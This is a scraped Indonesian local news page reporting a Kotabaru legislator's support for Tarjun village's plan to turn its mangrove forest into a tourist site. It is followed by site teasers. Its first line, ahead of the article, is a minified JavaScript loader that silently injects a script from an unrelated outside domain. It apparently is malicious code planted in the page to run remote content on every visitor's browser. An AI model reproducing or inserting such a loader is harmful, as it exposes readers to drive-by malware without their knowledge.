(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KOTABARU – Seperti diketahui, hutan mangrove memiliki fungsi sebagai pengendapan lumpur di akar-akarnya sehingga dapat mencegah terjadinya intrusi air ke daratan.
Selain itu, hutan mangrove juga memiliki fungsi sebagai pencegah abrasi atau pengikisan bibir pantai.
Tak kalah pentingnya, hutan mangrove bisa dijadikan sebagai objek wisata yang bisa mendatangkan pemasukan bagi daerah.
Baca juga: Warganet Keluhkan Tarif Masuk Wisata Alam Tahura Sultan Adam Kelewat Mahal
Seorang anggota DPRD Kabupaten Kotabaru, Awaludin SHut, menyatakan mengapresiasi rencana aparatur Desa Tarjun, Kecamatan Kelumpang Hilir, mendukung visi dan misi pemerintah daerah.
Implementasi visi misi daerah direncanakan kepala desa setempat yang mengembangkan hutan mangrove sebagai objek wisata. Selanjutnya bisa dikunjungi wisatawan lokal atau pun luar Kabupaten Kotabaru, Kalimantan Selatan.
“Adanya lokasi wisata ini saya harap bisa menjadi salah satu pendorong ekonomi masyarakat khususnya di Desa Tarjun,” ujar Sekretaris Komisi II DPRD Kotabaru ini.
Baca juga: Pengunjung Panik, Pameran Reptil di Q Mall Banjarbaru Diwarnai Insiden Peserta Digigit Ular!
Ketua PAN Kotabaru ini berpesan agar wisata hutan mangrove yang dibikin pemerintah desa harus beda dengan tempat wisata hutan mangrove di Desa Langadai Kotabaru. (kanalkalimantan.com/hms)
Editor: Dhani
KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
This website uses cookies.